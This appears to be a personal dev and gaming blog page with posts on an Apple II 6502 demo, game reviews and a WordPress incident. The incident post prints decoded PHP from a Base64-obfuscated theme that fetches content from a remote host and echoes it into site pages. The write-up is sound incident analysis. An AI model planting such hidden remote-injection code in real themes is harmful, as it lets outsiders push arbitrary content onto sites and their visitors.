dev, computing and games

See a video of it here: https://www.youtube.com/watch?v=lmg9sN9FO-w

Also on Twitter: https://twitter.com/clandrew__/status/1288941082202390533

As a fun thing to do for a few days I made this demo, for background I have programmed on Apple II in the past but in higher-level ways, through BASIC and Logo. The idea here was to write something in 6502 so that I could learn more about the platform. Prior to this I had some background debugging and doing small code patchings in SNES's 65816 (similar to 6502) and how to use an Apple II computer but no experience at all writing 6502 for it.

I got a book "Assembly Lines" by Roger Wagner which was a lot of help plus "Inside the Apple IIe" by Gary Little. And also a bigger book of opcodes lent to me by a friend.

Things that were easy

- Trancoding from a .PNG image file on Windows to indexed image data compatible with LORES memory layout. I wrote this command line tool which inputs an image file on Windows and outputs a bunch of data directives for the LORES compatible image data. I referred to the "Inside the Apple IIe" book to source out what the format is. The tool uses WIC to open the image and shoves a bunch of things around. This took like 20min. The code is here
https://github.com/clandrew/demoII/blob/master/ImageTranscoder/ImageTranscoder.cpp

- Testing on real actual hardware. What I mean is, I thought this would shake loose a bunch of problems. Especially around sound. There was conflicting information as to how you're supposed to access $C030 to sound the speaker. If an opcode technically corresponds to *two* accesses of the I/O port instead of one it could cancel out so no sound. This is an area where emulator would likely be more forgiving. And before you think "just copy from some sample code", various sample code and documentation contradicted each other. In the end I picked absolute LDA and it worked.

- Modern IDE Now, the bulk of the code was written using Merlin's interface on the actual Apple II. It's actually pretty good and I thought it was fine. Once in a while, whenever there was a big messy refactor though I copied the code out of the Apple II data disk and into a Windows filesystem text file because of course that's a thing. And quickly do the reverse, too. What a time to be alive.

- Debugging. The debugger built into the emulator is the most luxurious type of pampering. This is the reason I don't know what it is to work or to suffer. You can set breakpoints, conditional breakpoints, view memory and disassembly of what's executing. From talking to people, "Back in the day" you would debug by breaking into the Monitor or not at all. There are hobbyists writing Apple II code today though and I am pretty sure they all use tools like this. I feel okay with this hybrid way of doing things.

Things that were not easy

- Correct sound. Sound on most Apple II models is emitted in a weird way. You touch a memory-mapped I/O port- and how *frequently* you access the port (read or write) changes the pitch of the sound. A touch followed by 50 NOPs is a different pitch from a touch followed by 100 NOPs. And of course, you should put all of that in a loop or else the sound will be so quick it's hardly observable. You need very careful counting of clock cycles to play different tones of uniform duration. Yes, calculation involving clock cycles to figure out how to emit notes of *different tones* but *equal length*

- "Holes" and nonlinearity of graphics memory-map. Say you have some image data. It is stored with the top left byte first, and the bottom right byte last. To display it you might think, "just do a memcopy!". No no no. In graphics memory rows of pixels are stored in all jumbled up order. Even if you store your image data in that same jumbled-up order, there are "holes" in the range which you are not supposed to write to. Because I wanted to keep image positionings flexible for future use I had my source image data stored in straightforward order and copied each pair of rows based on a table of offsets. This wasn't the absolute worst just fussy.

- Branch distance limit. Because only one signed byte specifies the offset you can't branch anywhere too far away. To get around this, you branch to an intermediate place which jumps to the final place but also need to take care that the jump isn't accidentally taken by something else.

- Asymmetry of how you're allowed to use registers X and Y. For example, when you use indirect-indexed-load with X, it's pre-indexed but if you do it with Y it's post-indexed. Merlin's semantics between these two is ever so slightly different it's easy to miss and this was the root cause of an annoying bug I fixed Tuesday.

I scoped this project to LORES only so that it would be feasible and also a way to get comfortable with environment, instruction set and functions specific to this computer. The things I've heard about HIRES is that it's fewer colors, higher res, and more gnarly to work with, could also be good to check out at some point.

Some highlights

<-- Graphics bug turned a bit a e s t h e t i c. 
The root cause of this was the image loading code would scramble the input image offset passed to it. I was testing out scrolling of images (as a possible future thing to add), so the corruption happened when you hit the "down" key. Scrolling would call the image loading code again with the scrambled registers, loading an image from an incorrect place and changing which incorrect place every time.

Debugger built into the emulator. does you a favor and gives memory-mapped registers helpful human readable names (e.g., SPKR, called CHIRP in my code) rather than raw offsets. This was how I sometimes found out that I was actually using some areas of memory which seem general purpose but are not really.

For the music, I sketched it out a single-channel MIDI in Noteworthy Composer and then started testing different tones to find what ratio of I/O port setting + busy waits would produce which notes. I added the frequencies as text in the staff at the bottom.

You have this problem of "how to emit tones of different pitch but the same duration".

This problem will be obvious to you if you've programmed Apple II like this before, but I'll say it in case: to emit a tone on Apple II you touch a memory-mapped IO port. How often you touch it determines what tone it is. "Touch" here means read or write.

You're going to want to touch the port in a loop padded with a bunch of sleeps. To get a lower note, add more sleeps. To get a higher note, use less sleeps*. Easy enough.

*For sleeps it doesn't literally have to be a sleep, it could be a NOP or anything that takes up time. In my sound code the busy wait is "decrement a counter, branch conditional". You could expand the gamut of what sounds you can emit by adding an actual NOP or two.

What if you want to emit two different tones which both have the same duration? If you change the number of sleeps, you change the duration. How fussy. Fortunately, we own the code for touching the port. So I fix this by counting the number of clock cycles it takes to emit a baseline tone, and solving for the number of sleeps needed to emit a different tone with the same duration.

My code to emit sound looks like


    *                                       ;CLOCK
    A6 07          TONE   LDX $07           ;3
    A4 06          DUR    LDY $06           ;3
    AD 30 C0              LDA CHIRP         ;4
    88             PCH    DEY               ;2
    D0 FD                 BNE PCH           ;Branch taken: 3. Not taken: 2
    CA                    DEX               ;2
    D0 F5                 BNE DUR           ;Branch taken: 3. Not taken: 2
    60                    RTS               ;6

See there is a routine called TONE, and two loops labeled DUR and PCH.
PCH is an inner loop.
DUR is an outer loop.

I added comments describing how many clock cycles each line will take. For branches the number of clock cycles depends on whether the branch is taken.

Example of usage of TONE- (this part doesn't vary between pitch
or duration so clocks are not taken into account)

    A9 BC           LDA #188                
    85 06           STA $06                 
    A9 6A           LDA #106                
    85 07           STA $07                 
    20 26 66        JSR TONE                
    60              RTS                     

TONE is subroutine with two arguments: pitch and duration, nicknamed pch and dur below.

TONE takes some number of clock cycles to execute, nicknamed clk below.

We can calculate clk as a function of pch and dur.

Looking at the implementation of TONE, the initial load and return don't vary so they weren't taken into consideration. But we can go line by line and calculate how many clock cycles the interesting parts will be

    clk = 0;
    clk += dur * 3;                     // DUR    LDY $06
    clk += dur * 4;                     //        LDA CHIRP
    clk += pch * dur * 2;               // PCH    DEY
    clk += (pch * dur * 3) - (dur * 3); //        BNE PCH (branch taken)
    clk += dur * 2;                     //        BNE PCH (branch not taken)
    clk += dur * 2;                     //        DEX
    clk += (dur * 3) - 3;               //        BNE DUR (branch taken)
    clk += 2;                           //        BNE DUR (branch not taken)

which simplifies down to

clk = dur * (11 + 5 * pch) - 1;

rearranged to solve for dur, you get

clk + 1 = dur * (11 + 5 * pch)

dur = (clk + 1) / (11 + 5 * pch)

This way I got what value of 'dur' you need for each pitch to use to get about the same target cycle count as the middle pitch, 138 with duration 144 (picked arbitrarily).

If you are pro you might factor non-sound code (e.g., the loading of graphics images) into your calculations.. fortunately here the amount of time to load graphics and on other control flow ended up being negligible so it didn't end up mattering

And of course, a good thumbnail is about setting the right expectation.

Source code posted here: https://github.com/clandrew/demoII/blob/master/T.GR.asm

July 31st, 2020 at 5:54 am | Comments & Trackbacks (0) | Permalink

I put this together some years ago out of a need for a "flow-based writing" tool when I needed to get something done and kept getting stuck.

I'm referring to a kind of computer program that gives you this well-known technique: you specify how many words you want to write, and start inputting text. For this part, you mostly are getting a typical text editor. There's one twist, though: you can not save until you have written the specified word count. The program won't let you. As harsh as this sounds, it works. You will get into the flow of writing more and not get hung up on making things perfect or dwelling a lot on what's already been written. The writing might value quantity over quality but hey, if it gets you unblocked, great and it's nothing a good edit can't fix. For some of them, the program won't even let you see what's already been written until you reach the target word count.

You're probably thinking, "but there is already {insert web app name} with this functionality. Why make something like this?" Totally I found a lot of already-made applications with the functionality I described above. The thing is, the majority of them want to charge you a subscription. While I'm all for paying for software, I have trouble getting my head around buying a subscription for software that is literally so simple you could throw it together in a couple dozen lines of a high-level language of your choice.
And another thing- I'm a bit suspicious of web apps. What if they don't respect your privacy (e.g., they send everything you write to the author's inbox?) After all, they're easily geared up with the infrastructure and privileges to do just that since they're... you know, on the internet. Or, what if they shut down and then you're out of luck? If it were a typical local program (i.e., doesn't phone home) at least you can keep it locally and use it. And then there's a final reason: just because.

Sytool is written in C# with Windows Forms and runs locally, no installer. Since it's based on just what I wanted it to do it's pretty minimalistic.

The original version of this program was called "ystool", but when I went back to the code recently to clean it up, it occurred to me it's ambiguous how to pronounce it. So I switched around the first two letters. Now that leads to a question, "why was it originally called ystool". Since the original version was from around 5 years ago I have to say I have no idea what I was thinking back then, maybe I was playing a lot of Ys.

Link to GitHub here: https://github.com/clandrew/sytool

Direct-link to the release (.exe): https://github.com/clandrew/sytool/releases

June 4th, 2020 at 9:18 pm | Comments & Trackbacks (0) | Permalink

Finished Arcana (SNES).

Play as Rooks, an orphaned magic card user who needs to stop an evil empress vying to take over the kingdom. Rooks also wants to live up to his late father's legacy.

Turn-based JRPG, Wizardry-like, with "cards" being a prominent visual motif and somewhat gameplay motif. Unique qualities: no backtracking, death of anyone in your party == game over

The use of cards in the gameplay would lead you to think the game has a combat system way more evolved than the old "Fight Magic Item Flee". It does not.

There is a rock-paper-scissors-style elemental system. The game is balanced such that you can ignore it. There are also four pokemon ("Spirits") which act like party members except disposable and only their magic is any good.

Pop quiz: magic spell called "Attribute 6". What does it do, take a guess? Bonus: how it is different from Attribute 5.

I think people might not play this game any more because of the enemy system. What enemy system? Random encounters. How many? A lot. It has one of the worst grinds. Find enclosed: random encounters every two steps in the map, or on simply a 90 degree turn. If not for the in-game map it would have been a big problem. Although there's items and spells to hightail it out of a dungeon, you always enter a dungeon from the very beginning.

Lack of checkpointing is a problem for one of the largest areas called "Stavery Tower", a twelve-floor maze. You can't save while in a dungeon, not even a save-to-be-deleted-on-resume (those are not popular on SNES platform anyway). So you will need to book one to three hours per game session. Alternatively, you can leave your SNES on and hope there isn't a power outage, or use a piece of technology which rhymes with asdflemulator.

Still, the first 5 minutes and the last 30 minutes were Awesome. This game has a great soundtrack and visual style with a lot of character. The final boss concept is extremely cool. This game, you can tell what they were going for.

June 2nd, 2020 at 2:20 am | Comments & Trackbacks (0) | Permalink

The portraits you make on IR-7000 are not merely for spicing up your address book. They are integrated with a "game" and that game is called Brain Drain.

In Brain Drain you choose a portrait to play as, and face off against a different portrait using psychic abilities. It is a bit thin on gameplay and soundtrack but it is kind of fun.

Eons ago I wanted to see if the outcomes of the game were pre-determined based on the character features or if there is some RNG. So I cloned one character to see. It turns out, there is some RNG.

video making of
May 29th, 2020 at 4:17 am | Comments & Trackbacks (0) | Permalink

The mid-late 90s personal organizer. The big companies making them were Sharp and Casio, although there were a lot of other ones.

I still have mine, the IR-7000, made by Sega. Looks like this:

Still works turns out.

Like the standard organizer it flipped open and had a QWERTY keyboard. It could store notes, addresses, do calculator functions, time zone calculations, set an alarm and show you a calendar. Plus, a hilarious "human portrait" maker along with a simple game you can play with the portraits.

If two people had IR-7000, you could use its infra-red communication to exchange messages, but I never came across someone who also had this organizer. The industry was really fragmented toward lots of different organizers and everyone seemed to have a different one.

The modern equivalent today would be something between a cellphone or tablet. Cellphone and tablet subsume all of the functionality that these organizers had, but in much more general-purpose ways with fuller software stacks. I can understand why these fuller software stacks are desirable yet in my heart I'm always keeping a space for the long battery life and reliability of this specialized tool for specific things.

May 27th, 2020 at 5:38 am | Comments & Trackbacks (3) | Permalink

Finished Valkyria Chronicles 4 (PS4).

Picked this up after playing it at a demo station at a convention.

For Valkyria Chronicles 1, it would actively bother me how misunderstood this game was. I would be talking to some gamer friend about what we're playing and say I am playing VC. I assert how good and unique it is, but they don't get it. They act as if I'm talking about Xenogears or Dragon Quest. As if it's the well-known formula with a few small changes. It is not. This is even for people who play JRPGs. Don't you dare recommend me any PS3 game if you have not played or at least heard a little of VC. It's weirdly absent from places. If there's a reviewer who talks about "the best games on the platform" and leaves it out, they haven't done the due diligence.

For Valkyria Chronicles 2 and 3 things took other directions. 1) They were mobile games, likely to cut costs. 2) They became less of a good dramatic historical fiction and more cheesy anime fan service. VC2 had practically no marketing in the west and due to VC2's low sales VC3 was not even released outside of Japan. Some people liked these games, I wouldn't go for them personally, I don't think these are fitting to WWII allegory.

For Valkyria Chronicles 4, they returned back to a proper console release on PS4 and a more serious story. Like the others it is a fictionalized version of the events of WWII. Take control of Basically-France fighting Basically-Germany in a Basically-Giant-Snowmobile. It keeps consistent gameplay with the others, mixing turn-based an action elements.

Overall:

  • It is a pretty good strategy game.
  • The game is very easy.
  • All game except endgame, I always had more money than I had things to spend it on. The money counter might as well show a random number.
  • Cutscene-to-gameplay ratio is very high.

Nonetheless would recommend because it kept me from playing Code Vein any more so it encourages healthier habits.

My late game (not quite end-game) speed run of one of the skirmishes.
May 26th, 2020 at 1:58 am | Comments & Trackbacks (1) | Permalink

A response to this: "What were the five most important video games to you throughout your youth/teen years? No curating to look cool/interesting please"

1. Lagoon (SNES)
Comment: The first RPG I played. The environments and sense of world-building were a lot deeper than the other games I was familiar with, so it was easy to get really invested. The ultra-small hitboxes and the lack of user-friendliness I wrote off as "the game is hard" not "the game is flawed", so I spent effort getting better at the action mechanic. Nowadays the time I spend on Lagoon is part nostalgia, part meme-ery. It affected the ways I perceive other games then and today and led into ARPGs like Souls.

I've been maintaining a fan site for Lagoon for 13 years.

2. Speedway Classic (Apple II)
Comment: The game had this really cool looking 3D effect and a memorable intro. It was my go-to game on this platform narrowly beating out Lemonade Stand. Since I coded on this platform it was helpful to see the connection from code --> possible program.

3. Final Fantasy 3 or 6 (SNES)
Comment: This is a very normie pick. You know I'm taking the no-curating seriously.

This game for me is tied up with a) interest in video game characters, since before that I didn't play many heavily character-based games) first experiences in PC usage when trying to get more content for it.

I first played it around 1995 and wanted more content about it (besides a magazine article) but it was hard to find any. I didn't have a lot of experience using PCs or the internet but it was worth a try.

The best time was when my parents took me to a computer exhibit at the <city name> Science Center, they had a bunch of computers hooked up with internet access. It was a bit rough at the start because it was not like the Apple IIc (at home) or the IIe (at school) and the GUI/mouse/internet browser was a lot different, from what I recall the demo machines were Windows 95 with Netscape Navigator. But I got to use it to find a lot of cool things- secrets, strategies and so on.

4. Dynasty Warriors 4 (PS2)
Comment: This was when I was a teenager. Since I was under a lot of stress in high school, overbooked with way too many clubs + part time job, it was a good de-stresser.

5. Tekken 2 (Arcade)
Comment: Noise, dirty floors, cigarette smoke, frantically pushing the button + kicking the machine to un-jam your quarter. There were a couple dive-y arcades I used to go to. I used to always play as Angel on 2, Yoshimitsu on others, and got decent at those but didn't know any other moveset. Nowadays I can do some combos with Paul.

Honorable mention: Fatty Bear's Birthday Surprise, a point-and-click game for kids. The game is just so weird yet full of cool things. First seen at my daycare. I later got the CD from somewhere when I was in high school because I was nostalgic then too.

Scan of my strategy guide that I wrote in, there was something missing. My printing has changed.
The first image (non text) I printed from a computer. It's been re-pinned-up many times.
May 22nd, 2020 at 12:24 am | Comments & Trackbacks (0) | Permalink

On March 9th, 2020, I opened this blog and noticed something wasn't right.

a "before and after" comparison where the blog looks screwed up after. There are a bunch of ads at the top forcing all of the blog content downward, and the blog's background appears chopped-off.

An exploit. I knew, first of all, my domain wasn't expired-- plus if it was, it wouldn't be accompanied by this sketchy ad. My web host isn't like that.

First order of business: right click view source to get a sense of it. It's something emitted server-side as opposed to something directly from theme code. Of course, I guess.

Then narrow down the repro. I confirmed that it

  • Persists across browsers
  • only reproes with this WordPress instance, not with non-Wordpress-based web sites on the same domain
  • only reproes with this particular WordPress theme not other themes

I was surprised by it being specific to the theme, since I had a lot of a hand in the theme. I didn't knowingly add or notice anything that could be a vulnerability. That being said, it was a theme I downloaded off the internet as a starting point, so who knows.

Since I keep a backup of the WordPress and theme files in a Git enlistment, I downloaded them from the web space back into the enlistment and looked for a delta. No delta.

That means two things:

  • The theme wasn't corrupted. If there's a problem with it, the problem's been there since the beginning.
  • The corruption is more likely to be in the database.

While I have backup exports of the database, I didn't have a current enough one to conveniently use as a delta unless I absolutely had to. Open PHPMyAdmin just for kicks. The theme-specific records I knew to be in wp_options so I looked there. There are not all that many records so I scrolled through and looked for clues.

There I saw a suspicious record: "credit_text2" and lo and behold, the value was a bunch of html which looked very similar to the stuff I saw in inspect element at the beginning of this. It was accompanied by other records, "credit_text", "credit_date", and "credit_date2".

I had another WordPress instance handy for testing stuff. Looking at its database, it did not have these records. Therefore, the records were added either by the exploit or something specific to the theme. Knowing that it wasn't something specific to WordPress, I figured just web search for it since the results would be unlikely to be filled up with everyday usage documentation-- and lo and behold, someone else was victim to the same thing. He pinned down the exploit and gave a really good explanation. He used the Exploit Scanner plugin. I verified it- my web site was victim to the same exploit.

And it turns out, the theme I downloaded actually shipped with this code, encoded in two layers of Base64:

function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("http://www.w***p****t********.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else { 
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

and also, this:

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.w***p****t*******.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}

(I censored the URL.)

Like I said this code was not plainly there, it was obfuscated beneath two layers of Base64 encoding, otherwise it would have been easier to spot how the theme was adding records.

If you take away the sketchy URL and code obfuscation, it actually doesn't seem too malicious. It looks up your theme from a web site, presumably where you got the theme from-- and credits the author.

Maybe the theme wasn't shipped with a malicious vulnerability, but the vulnerability fits into this page-breaking scenario.

Suppose there could have been plans to monetize WordPress themes, where you'd have themes phone home to make sure you have paid for them. The paywall is secured by obscurity, hence the Base64 encoding. And the web site validating the paywall used to be something, now it's been changed to something else who doesn't want to maintain it or do us the courtesy of serving a more helpful request response than the whole web page in all its sketchiness. Fixing this problem is effectively unhooking from the paywall then. This particular theme, in any case, was free when I got it. I would link to it but the web site appears to be defunct. This was from a long time ago.

This code showed something else reassuring: that there wasn't a bad actor using SQL injection to add or edit random records in WordPress's database. Instead, the records were being edited by my web site itself.

The disturbing part, and the nature of the vulnerability, is you've effectively got a theme downloading text from an external web site and echoing it to your blog, trusting that the external web site serves up something sensible.

Anyway, the problem was simple enough to remove from theme and database.

I think WordPress and general CMS are good in some ways, and bad in some ways.

It's good in how many problems it solves for you and how it opens up web site building to more people. There are certain people who can make web sites with CMS that would not otherwise be able to.

It's bad in how far you're removed from the web page that ultimately gets served up to your web site visitors. If something goes very wrong and you need to debug it, even if it's something simple, you need to know something about the expansion of so many layers of terms, the evaluation of server-side functions. (If you are pro web developer you may even debug those functions.) Can I know every single server-side script, client-side script, or piece of markup that comprises a CMS-built site? No, and that's the problem. How am I supposed to be confident that my site is trustworthy? Yeah yeah, every tech has this problem, you call code you don't own, etc. I'm claiming that the problem is worse with CMS, particularly where themes and plug-ins are involved, because there aren't clean boundaries of trust.

Clean boundaries of trust. Let me say what I mean.

Suppose you have a blog. You want to spruce it up a little, so you install a theme to it. Not even a plugin, a theme, with the expectation that it simply makes some aesthetic enhancements.

  • Where does the theme's code get inserted? Is it componentized? Answer: It is not. Or at least, it doesn't have to be. While themes straddle a well-defined set of files, their code can called by any other part of your WordPress code, effectively sprinkling the theme code everywhere it wants to be.
  • When will its code execute? Is the resultant code constrained to only modifying client-side behaviors? Answer: No, the theme code could execute anywhere, and involve all kinds of server-side behaviors. Maybe you can debug it yourself if you're curious.
  • What permissions does the code have? Answer: The theme has all permissions. It has database access. It can do anything.

The word "theme" makes it sounds a lot more limited-privilege than it actually is. It makes it sound like you are just downloading some CSS file.

With CMS it's not enough to just write a bunch of markup, and clearly see the connection between the web page contents and the markup. Half the internet is delicately balanced on the whims of random plug-in authors and no one sees this as a problem. Technical people take the position of "well, that won't happen to me, because I can debug my web site" and non-technical people take the position "it's the only way I can make a web site, so there's no alternative". I guess this is all the way of the world, but if it is then (warning: hot take!) maybe not literally every web site ever should be CMS. Anyway I don't want to be a person who balances their life on big, convenient layers of magnificent technology that are impossible to understand. With this you are really at the mercy of this content generation system. This kind of thing sucks so much.

Guys, I just wanted to put my images and text onto the information superhighway. Maybe the best solution is to leapfrog web 2.0 and go right to web 3.0. Something something social AI blockchain

March 11th, 2020 at 6:00 am | Comments & Trackbacks (0) | Permalink

They are so uncommon let's take a second to appreciate SNES games with functional loading screens.


Game: Civilization 1
Loading time: ~40 seconds
Purpose: When you create a new game. It is procedurally generating the terrain of the map, placing the other civilizations you're playing with. Rather than a fixed map, it gets randomly generated each time plus the algorithm is customizeable to include different kinds of climates and features. The longest load time I have seen on this platform.

A video: https://youtu.be/oWtVe2qm7_w?t=129 (not mine, random search off youtube)


Game: Romance of the Three Kingdoms IV: Wall of Fire
Loading time: 2 or 3 seconds
Purpose: When you create a new game. Procedurally generating what commander has what resource allocations, which officers are where. Although the game comes with a fixed set of "scenarios", you can create your own commander and/or officers and choose who to control. I believe this, plus the difficulty level affects where the game places things and there are too many combinations to pre-compute them.


Game: Another World (also called, Out of this World)
Loading time: ~10 seconds
Purpose: Transitioning out of a simple menu, into the game

This game is, in a word, ambitious. Big, lush backgrounds with lots of things animating. Nothing looks like 'sprites'; they look like 2D vector graphics rasterized to low resolution to be honest.

This game was originally for Amiga and ported to SNES. The graphics have a unique style which unfortunately doesn't fit well to SNES technical constraints, which tend to involve either conventional 2D graphics modes with heavily re-used sprites, or just Mode 7-- neither of which fit this game well. Now that's not to say it can't work. Take, for example, the backgrounds of Super Mario RPG or Wonder Project J. You can make smart judgments about when to re-use sprites and try to hide them among the other elements. Of course, those games were designed from the ground-up for SNES. For this game, conversion to sprites would be an after-thought with the port. The sheer amount of graphics this game has is very large and scenes are organized in ways that are hard to break down into patterned elements.

While I don't tend to like this type of game- the latency of controls is so slow and loose, for one-- I respect its commitment to the unique art style. Given everything this game has going on, the loading screen is not frivolous.


Game: Sim City
Loading time: ~12 seconds
Purpose: When previewing the terrain on which to build your city- there are 1000 terrains (e.g., random seeds). Note that the load time is NOT just for creating a game with the level- it's to let you view a small 120x100 image. This, plus the instantaneous "OK" button tells us two things. First, there was not enough space on the cart to store 1000 of these images. Second, unpacking the preview image is about the same as unpacking the full map. While I think all of this is okay, they could have done with fewer better-optimized seeds. Fortunately the instruction manual has a couple pages of previews of maps which you can flip through quickly.


Game: Batman Forever
Loading time: ~5 seconds
Purpose: Transitioning out of cutscene into gameplay. Likely to be graphics-related. There are big, detailed sprites with lots of frames of animation.

Although there's an explanation for a load screen, it may not have been completely necessary. At 24Mbit, the cart is not that small; it's very likely the graphics could fit without super aggressive compression schemes. Some contributing factors to the need for load time may have been 1) the fact that this game is a port, and there wasn't time to optimize for any particular platform, and 2) these flashy 3D wireframe-map montage scenes, which would require different types of data and loader code.

Although this game gets a bad rap I respect its live-action-to-low-res-low-color Mortal Kombat aesthetic.


Maybe others I haven't encountered yet.

See, a couple big things affecting our modern conception of loading screens are optical media and network latency's failure to keep up with increasing size of game payloads. Computationally, modern computers have advanced a lot to the point where it is rare to see games spinning on procedural content like this, but it is common to spend a lot of time copying game assets from an optical medium to faster local solid-state storage, or downloading game assets from the internet.

There have been some modern efforts to curb load times. For example the Nintendo Switch had a return to a faster-than-optical-disk game media. You know, a cartridge. However, many Nintendo Switch games- non-procedural, fixed-level action games do have loading screens- screens which would have been unacceptable in 1995 but are acceptable now since we are used to them.

February 9th, 2020 at 10:51 pm | Comments & Trackbacks (0) | Permalink

Earth, who wore it better?

left: E. V. O. (SNES) right: Civilization (SNES)

February 8th, 2020 at 6:40 am | Comments & Trackbacks (0) | Permalink